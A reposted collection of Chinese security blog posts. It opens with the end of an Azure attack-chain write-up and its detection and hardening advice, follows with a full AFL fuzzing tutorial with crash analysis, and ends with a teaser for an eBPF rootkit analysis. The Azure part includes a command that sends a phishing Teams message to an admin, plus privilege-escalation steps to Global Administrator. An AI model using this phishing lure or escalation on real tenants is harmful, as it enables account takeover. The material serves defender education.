Send-AADIntTeamsMessage-Recipients "privadmin@adsikkerhed.dk"-Message "Check this site out, trust me its not a rickroll: https://bit.ly/3FjFPVh"

21. 当进入链接时，privadmin 被提供 azure 云 Shell。他不知道的是，当 PowerShell 配置文件加载时，投毒的云镜像将在 Azure AD 租户中授予我们的访客用户 "Global Administrator" 权限

已认证状态 (Azure AD 租户中的全局管理员)

使用的工具：Azure Portal

22. 我们可以通过登录我们自己的访客用户来确认我们新授予的角色

23. 使用我们新委派的特权角色，我们将自己提升为租户根管理组上的 "User Access Administrator"，然后授予自己整个 Azure 资源环境的完全所有权

Azure Active Directory > 属性 > Azure 资源的访问管理 > "是" 并保存

已认证状态 (用户访问管理员)

使用的工具：PowerShell、Az Module

24. 用户访问管理员确认

检测和改进安全性

以下章节将描述如何最小化您的 Azure 攻击面，并检测您的环境中是否曾发生过此类攻击。

介绍

几乎整条攻击链都可以通过 Azure 原生组件和第三方产品进行检测，或者通过遵循安全配置基线、最佳实践架构设计与实施来加以预防。

我们不支持也不推荐任何特定产品，但我们强烈建议任何组织制定并创建路线图以建立适当的检测，同时保护其云基础架构。

我们建议组织启用 Azure 中所有适用的审计和诊断功能，并且至少将这些日志摄取到 Log Analytics 工作区、Microsoft Sentinel 或通过事件中心传输到第三方 SIEM 产品。以下审计日志和诊断设置应作为最低要求启用和传输：

• Azure AD

• 审计日志

• 登录日志

• 非交互式用户登录日志

• 服务主体登录日志

• 托管标识登录日志

• ADFS 登录日志

• 风险用户

• 用户风险事件

• Azure Monitor (管理平面)

• 管理

• 安全

• 警报

• 策略

这些服务是您的租户和 Azure 资源基础的一部分，包含您的安全主体 (用户、组和服务主体)、Azure AD 加入或混合加入设备以及资源的所有必要信息。

除此之外，我们强烈建议在您环境中的所有适用资源上启用诊断日志，并同样传输这些日志。这些资源可能包括：

• 密钥保管库

• Web 应用和函数应用

• 存储账户

• 虚拟机

• SQL 服务器和数据库

• 自动化账户

未认证状态

改进安全性

1. 不要将任何数据从公开可用的存储账户暴露到互联网，除非数据本质上应该如此 (例如网站图片)

2. 通过选定网络 (最好在 VNET 级别) 限制访问，或者更好地使用私有端点

3. 在所有存储账户上强制安全传输并将最低 TLS 版本设置为 1.2

4. 每 90 天轮换访问密钥，并利用 RBAC 的细粒度角色，如 "Storage Blob Data Reader" 和 "Storage File Data SMB Share Reader"

5. 对所有用户强制 Azure 多因素身份验证，无论其角色和权限如何。我们建议通过条件访问策略启用 8 小时的会话策略，使用户每天只需进行一次 MFA 质询

6. 通过条件访问策略限制对 Azure 与 Microsoft 365 企业资源的访问。这些策略至少应要求设备合规

已认证状态 (Reader)

检测

1. 在 Defender for Cloud 套件中启用 Defender for Resource Manager。当使用现成工具如 Microburst 和 PowerZure 攻击您的租户时，这将创建警报

2. 发送访客邀请时发出警报，如果邀请已被接受则再次发出警报

3. 对来自不熟悉位置和资源 (如 PowerShell) 的服务主体登录发出警报

改进安全性

1. 不要将任何具有动态组成员资格的组范围设置为任何特权 RBAC 权限或 Azure AD 角色。此外，尽量不要创建任何依赖于普通用户可以确定或操作的属性的成员资格规则

2. 不允许普通用户邀请访客用户到组织租户，将其留给租户管理员和特定的 Azure AD 角色。如果适用，考虑配置协作限制以专门允许来自特定域的邀请。这显然对某些组织可能适得其反

3. 将虚拟机参与者委派给特定资源组，而不是整个订阅。遵循最小权限并将您的基础架构分离到着陆区域

4. 不要在 runbooks 或一般代码中存储明文凭据和机密。从自动化账户利用托管标识

5. 对已邀请到您租户的外部/访客账户进行适当的治理和清单。如果您有 Azure AD Premium P2，利用访问审查并自动化此任务

已认证状态 (订阅上的虚拟机参与者)

检测

1. 查询并警报在虚拟机上启动的运行命令。KQL 示例查询：

AzureActivity
| where OperationName == "Run Command on Virtual Machine"
| where ActivityStatus has_any ("Succeeded", "Accepted")
| project TimeGenerated,
    Resource,
    ResourceGroup,
    Caller,
    CallerIpAddress,
    ActivityStatus

2. 对向现有应用注册 (企业应用程序/服务主体) 新添加的凭据发出警报

改进安全性

1. 配置条件访问策略，专门从合规或混合 azure ad 加入设备允许访问 Microsoft Azure 管理

2. 应用最小权限，根据需要将存储账户参与者访问专门配置到存储账户或资源组

3. 不要在与云 Shell 存储账户相同的资源组中存储其他资源，如其他存储账户

4. 对所有普通和特权用户强制 Azure 多因素身份验证，包括此 "AppOwner"

已认证状态 (管理组上的存储账户参与者)

检测

1. 当安全主体被委派全局管理员角色或任何其他特权 Azure AD 角色时，始终发出警报。可能来自正常的直接分配，或通过 Azure AD Privilege Identity Management 的合格分配

改进安全性

1. 对内部钓鱼活动的意识。此 Teams 消息是从带有缩短链接的服务主体发送的，这应该在收件人处引起红旗

已认证状态 (Azure AD 租户中的全局管理员)

检测

1. 当 Defender for Cloud Apps 中出现全局管理员提升为用户访问管理员的事件时，创建自定义警报。查找以下活动类型：

Azure operation = ElevateAccess Microsoft.Authorization

改进安全性

1. 配置条件访问策略，专门从专用云 PAW (特权访问工作站) 允许访问 Microsoft Azure 管理

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

一篇简短的 AFL 入门指南:介绍 fuzzing 的基本概念,演示如何配置 afl 并搭配 exploitable 与 gdb 对项目进行 fuzzing、自动化分析崩溃并以图表呈现结果。

前言

本文将以一篇短小的介绍,带你了解 fuzzer 是什么、它们如何工作,以及如何正确地配置 afl - american fuzzy lop 这款 fuzzer,从而在任意项目中发现缺陷。

afl 的知名替代工具 (用于相同或其他场景):

• boofuzz: Network Protocol Fuzzing for Humans

• Googles - OSS-Fuzz - Continuous Fuzzing for Open Source Software

• libfuzzer

• 以及更多

什么是 fuzzing?

简而言之,我们可以将 fuzzing 定义如下

"Fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion."

这种方法可以应用于整个应用程序、特定协议,甚至单个文件格式。根据攻击向量的不同,产出的结果显然会有所变化,并可能导致数量不等的 bug。

Fuzzing 的优点

• 设计简单,因此基础的 fuzzer 可以轻松地从零开始实现

• 通过随机化的方式发现潜在的 bug 或缺陷,而这些往往会被人工 QA 所忽视

• 可以将不同的输入变异方式与符号执行 (symbolic execution) 结合起来!

不那么妙的地方...

• 往往只能找到"简单的 bug"

• 黑盒测试方式使得评估所发现结果的影响变得困难

• 许多 fuzzer 仅限于某种特定的协议 / 架构 /...

如何为 fuzzing 配置 afl,并搭配 exploitable 与 gdb 一起使用

我们直接进入环境配置的环节... 在此之前没什么好说的。

精彩内容马上呈现!

通过克隆仓库让 afl 跑起来

git clone https://github.com/mirrorer/afl.git afl
cd afl
make && sudo make install
su root
echo core >/proc/sys/kernel/core_pattern
cd /sys/devices/system/cpu &&echo performance | tee cpu*/cpufreq/scaling_governor
exit
sudo apt install gnuplot# --------------------------------------------------------------------------- #
git clone https://github.com/rc0r/afl-utils.git afl-utils
cd afl-utils
sudo python setup.py install# --------------------------------------------------------------------------- ## -----------------------------------optional-------------------------------- ## --------------------------------------------------------------------------- ## check the official git repo for needed/supported architectures #
git clone https://github.com/shellphish/afl-other-arch.git afl-qemu-patch
cd afl-qemu-patch
./build.sh <list,of,arches,you,need>

安装完成之后,你就可以对自己心仪的项目开始 fuzzing 了。我们会在下一段中通过挑选一个随机的 github 项目来演示这一点。我会在文章末尾给出后文展示结果时所使用的 afl 命令,但出于隐私考虑不会公开被 fuzz 的仓库名。

为 afl 插桩,开始通过 pwn 协助加固 GitHub 仓库的安全

如果源代码可用,使用 CC=afl-gcc make进行编译,或使用 CC=afl-gcc cmake CMakeLists.txt && make来为 afl 插桩。

$ cd targeted_application
CC=afl-gcc cmake CMakeLists.txt && make
--TheC compiler identification isGNU5.4.0
--Checkfor working C compiler:/usr/local/bin/afl-gcc
--Checkfor working C compiler:/usr/local/bin/afl-gcc -- works
--DetectingC compiler ABI info
--DetectingC compiler ABI info - done
--DetectingC compile features
--DetectingC compile features - done
--Configuring done
--Generating done
--Build files have been written to:/home/lab/Git/<target>
Scanning dependencies of target <target>
[ 14%] BuildingCobject <target>
afl-cc 2.52b by <lcamtuf@google.com>
afl-as2.52b by <lcamtuf@google.com>
[+] Instrumented5755 locations (64-bit, non-hardened mode, ratio 100%).
[ 28%] LinkingC static library <target>
[ 28%] Built target <target>
Scanning dependencies of target md2html
[ 42%] BuildingCobject <target>
afl-cc 2.52b by <lcamtuf@google.com>
afl-as2.52b by <lcamtuf@google.com>
[+] Instrumented165 locations (64-bit, non-hardened mode, ratio 100%).
[ 57%] BuildingCobject <target>
afl-cc 2.52b by <lcamtuf@google.com>
afl-as2.52b by <lcamtuf@google.com>
[+] Instrumented8 locations (64-bit, non-hardened mode, ratio 100%).
[ 71%] BuildingCobject <target>
afl-cc 2.52b by <lcamtuf@google.com>
afl-as2.52b by <lcamtuf@google.com>
[+] Instrumented58 locations (64-bit, non-hardened mode, ratio 100%).
[ 85%] BuildingCobject <target>
afl-cc 2.52b by <lcamtuf@google.com>
afl-as2.52b by <lcamtuf@google.com>
[+] Instrumented407 locations (64-bit, non-hardened mode, ratio 100%).
[100%] LinkingC executable <target>
afl-cc 2.52b by <lcamtuf@google.com>
[100%] Built target <target>

要启动针对本地应用程序的 fuzzing,可以通过下面的命令链来运行 afl:

afl-fuzz -i input_sample_dir -o output_crash_dir ./binary @@

-i  defines a folder which holds sample data for the fuzzer to use
-o defines a folder where afl will save the fuzzing results
./binary describes the targeted application

如果你的资源足够再多启动几个 afl 进程,请记住:每个进程都会占用一个 CPU 核心,并且几乎会榨取它 100% 的算力。要做到这一点,需要对 afl 命令链稍作调整!

afl-fuzz -i input_sample_dir -o output_crash_dir -M master ./binary @@
afl-fuzz -i input_sample_dir -o output_crash_dir -S slaveX ./binary @@

master 与 slave 模式之间唯一的区别在于:master 实例仍会执行确定性 (deterministic) 检查,而 slave 则会直接进入随机变异阶段。如果你完全不想做确定性 fuzzing,大可直接只启动 slave 即可。不过,对于统计与行为研究来说,保留一个 master 进程总归是件好事。

注意:对于从文件读取输入的程序,请使用 '@@' 在目标命令行中标记应放置输入文件名的位置。fuzzer 会替你完成替换。

注意 2:你既可以在 input_sample_dir 中放一个空文件让 afl 自行寻找合适的输入,也可以为正在 fuzz 的程序提供一些可解析的、有上下文针对性的输入!

要为 afl-QEMU 插桩 以进行黑盒 fuzzing,需要先安装相关依赖 sudo apt-get install libtool libtool-bin automake bison libglib2.0-dev zlib1g-dev,然后在 afl 仓库的 ~/afl/qemu_mode/目录中执行 ./build_qemu_support.sh。

接下来,不要使用CC=afl-gcc来编译目标程序,并将 afl-fuzz 命令链改成下面这样:

afl-fuzz -Q -i input_sample_dir -o output_crash_dir -M master ./binary @@

至此,模拟应当已经可以独立工作了。如果想让 afl 支持其他更冷门的架构,请应用前面准备工作里提到的那个补丁!

上图展示了 master 与 slave 之间的差异,以及启动 fuzzing 流程之后 afl 的整体界面。如图所示,我们的 slave 仅凭随机 fuzzing 行为,在区区 12 分钟内就发现了一批独特的崩溃 (unique crashes)。而 master 实例此刻还远没有追上...

崩溃 (crashes) 与挂起 (hangs) 可以分别在 output_crash_dir/process_name/crashes和 output_crash_dir/process_name/hangs目录中手动逐个查看。由于这种人工劳动既乏味又低效,一些聪明人为我们准备了 afl-utils 包,它可以自动完成崩溃分析,并搭配 gdb 脚本输出漂亮的结果。

对所产生崩溃的自动化分析

要在 fuzzing 进程仍在运行的同时,使用 afl-utils 包 中的 afl-collect 配合 exploitable 来自动收集并分析崩溃,可以执行下面的操作:

afl-collect -d crashes.db -e gdb_script -r -rr ./output_crash_dir_from_afl_fuzz ./afl_collect_output_dir -j 8 -- /path/to/target

这里只需要修改两个参数:./output_crash_dir_from_afl_fuzz,即 afl-fuzz 进程保存输出的目录;另一个是 /path/to/target,即被 fuzz 的应用程序。你可以根据自己的硬件状况调整 -j 8参数,它用于指定分析输出时使用的线程数。如果一切运转正常,你就会看到类似下面这样的输出:

afl-collect -d crashes.db -e gdb_script -r -rr ./out ./output_aflc -j 8 -- ./path/to/target
afl-collect 1.33a by rc0r <hlt99@blinkenshell.org> # @_rc0r
Crash sample collection and processing utility for afl-fuzz.
[*] Going to collect crash samples from '/home/lab/Git/code/path/to/target/out'.
[!] Table 'Data' not found in existing database!
[*] Creating new table 'Data' in database '/home/lab/Git/code/path/to/target/crashes.db' to store data!
[*] Found 3 fuzzers, collecting crash samples.
[*] Successfully indexed 56 crash samples.
***Errorin `/home/lab/Git/code/path/to/target': double free or corruption (out):0x000000000146c5a0 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f0acaeb67e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f0acaebf37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f0acaec353c]
/home/lab/Git/code/path/to/target(<func_a>+0x93fd)[0x4627ed]
/home/lab/Git/code/path/to/target(<func_b>+0xaa)[0x40e75a]
/home/lab/Git/code/path/to/target(main+0x4c4)[0x4017f4]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f0acae5f830]
/home/lab/Git/code/path/to/target(_start+0x29)[0x402169]
======= Memory map: ========
00400000-00401000 r--p 00000000 fd:0038669039                           /home/lab/Git/code/path/to/target/
00401000-00476000 r-xp 00001000 fd:0038669039                           /home/lab/Git/code/path/to/target/l
00476000-0048a000 r--p 00076000 fd:0038669039                           /home/lab/Git/code/path/to/target/
0048a000-0048b000 r--p 00089000 fd:0038669039                           /home/lab/Git/code/path/to/target
0048b000-0048c000 rw-p 0008a000 fd:0038669039                           /home/lab/Git/code/path/to/target
01461000-0148a000 rw-p 0000000000:000                                  [heap]
7f0ac4000000-7f0ac4021000 rw-p 0000000000:000
7f0ac4021000-7f0ac8000000 ---p 0000000000:000
7f0acac29000-7f0acac3f000 r-xp 00000000 fd:0040899039                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0acac3f000-7f0acae3e000 ---p 00016000 fd:0040899039                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0acae3e000-7f0acae3f000 rw-p 00015000 fd:0040899039                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0acae3f000-7f0acafff000 r-xp 00000000 fd:0040895232                   /lib/x86_64-linux-gnu/libc-2.23.so
7f0acafff000-7f0acb1ff000 ---p 001c0000 fd:0040895232                   /lib/x86_64-linux-gnu/libc-2.23.so
7f0acb1ff000-7f0acb203000 r--p 001c0000 fd:0040895232                   /lib/x86_64-linux-gnu/libc-2.23.so
7f0acb203000-7f0acb205000 rw-p 001c4000 fd:0040895232                   /lib/x86_64-linux-gnu/libc-2.23.so
7f0acb205000-7f0acb209000 rw-p 0000000000:000
7f0acb209000-7f0acb22f000 r-xp 00000000 fd:0040895230                   /lib/x86_64-linux-gnu/ld-2.23.so
7f0acb401000-7f0acb404000 rw-p 0000000000:000
7f0acb42d000-7f0acb42e000 rw-p 0000000000:000
7f0acb42e000-7f0acb42f000 r--p 00025000 fd:0040895230                   /lib/x86_64-linux-gnu/ld-2.23.so
7f0acb42f000-7f0acb430000 rw-p 00026000 fd:0040895230                   /lib/x86_64-linux-gnu/ld-2.23.so
7f0acb430000-7f0acb431000 rw-p 0000000000:000
7ffd1292a000-7ffd1294b000 rw-p 0000000000:000                          [stack]
7ffd129c9000-7ffd129cc000 r--p 0000000000:000                          [vvar]
7ffd129cc000-7ffd129ce000 r-xp 0000000000:000                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 0000000000:000                  [vsyscall]

如你所见,我们针对每一个崩溃都得到了一份内存映射和一份回溯 (backtrace)。由于这里展示了 56 个崩溃样本,我对输出做了精简以便阅读,但希望它已经把要点展示得足够清楚了。真正的硬核部分马上就来!

我们能够完整地看到是哪个进程、哪种算法产生了该错误。此外,还能看到错误类型,以及关于其是否可被利用 (exploitable) 的估计。这就为我们打开了一扇深入挖掘 /afl_out/process_name/crash_id/的窗口,该目录里保存的正是用于产生该次崩溃的输入。我们随后可以对其进行分析,尝试得出崩溃发生的原因,甚至产出一个或多个 PoC 来利用这种行为!目前一个比较大的缺点是,exploitable 脚本只能处理最常见的架构 (x86 和 ARM)!如果你想 fuzz MIPS 和 PowerPC,就需要去 fork 官方仓库,并自行为其编写相应的逻辑!

为目标应用程序构造 PoC 也变得容易得多,因为我们可以直接进入 gdb,在被 fuzz 的程序上执行那次崩溃!只需在命令行中运行下面的命令:

$ gdb ./fuzzed_application
gdb> run /path/to/crash_folder/crash_id

如果我们再装上像 pwndbg 或 gdb-peda 这样的 gdb 扩展,排查问题就会变得轻而易举!

我们可以一眼看清寄存器的状态,同时也能大致了解是哪个函数因生成的输入而发生了崩溃。接下来,我们就可以深入到实际的源代码中,找出它为什么会在那里崩溃。这段输入到底是怎么把程序搞乱的?当你找到这个问题的答案时,就可以亲手构造一份畸形输入并为其编写 PoC。

为了让你直观地看到 afl 究竟把我用于触发本次崩溃的真实输入改造成了什么样,我下面会把原始输入与 afl 所产生、最终在所示状态触发目标崩溃的那份输入,做一个并排对比展示:

绿色字节表示两份文件在该位置仍然相同。红色字节表示存在差异,意味着 afl 自主地对这些字节进行了变异 (右侧的就是被 afl 变异过的那一份)。

用图表呈现 afl 的运行结果

对那些痴迷于数字和统计的人而言,afl 也为我们准备了一个绝佳的特性!对每一个被启动的进程,我们都能拿到可绘图的数据!

$ ls
crashes  fuzz_bitmap  fuzzer_stats  hangs  out  plot_data  queue
$ afl-plot --help
progress plotting utility for afl-fuzz by <lcamtuf@google.com>
This program generates gnuplot images from afl-fuzz output data. Usage:
/usr/local/bin/afl-plot afl_state_dir graph_output_dir
$ afl-plot . out
progress plotting utility for afl-fuzz by <lcamtuf@google.com>
[*] Generating plots...
[*] Generating index.html...
[+] All done - enjoy your charts!

这会生成 3 张图:

• 一张展示每秒的执行速度,

• 一张展示路径覆盖率,

• 还有一张展示发现的崩溃 (crashes) 与挂起 (hangs)。

在我为本文准备的这个具体 fuzzing 示例中,它们看起来是这样的:

关于这一节的最后一点说明:在 fuzzing 进程从开始运行直到终止期间,afl 界面上展示的那些统计数据,也会针对每个进程分别保存到一个独立的文件里!

总结

Fuzzing 提供了一种强有力的方式,用来测试项目代码中的故障与缺陷。根据所使用 fuzzer 的不同,生成的输出可以直接用来推导出可能的 exploit 或 PoC。

就 american fuzzy lop 而言,其基础功能本身就已经相当出色,绝对算得上现有 fuzzing 工具中速度较快的那一类。再配合上 afl-utils 与 exploitable gdb 脚本,效果就更加令人惊艳。

最后,但同样重要的一点是:不妨进一步测试 OSS、boofuzz 或其他文中没有提到的 fuzzing 框架,看看它们之间各自表现如何、谁能更胜一筹。

希望这份简短粗略的概览能让你看到:fuzzing 是一种强有力的方法,可以通过发现人工 QA 容易忽视的关键缺陷来加固应用程序。请注意,本文展示的演示是在一个相当"千疮百孔"的仓库上完成的。如果你开始对各种东西做 fuzz 却没有冒出多少崩溃,那其实是件好事,你不应该为此沮丧 -- 尤其当被 fuzz 的是你自己写的代码,或是被广泛使用的代码时 :) !

带着这份心态:祝你 fuzzing 愉快!

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

深入解析 Synacktiv CSIRT 在被入侵 AWS EKS 环境中发现的 LinkPro eBPF rootkit:借助 XDP/TC 实现魔法包敲门、利用 tracepoint/kretprobe 隐匿自身,并以 ld.so.preload 作为内核选项缺失时的回退方案。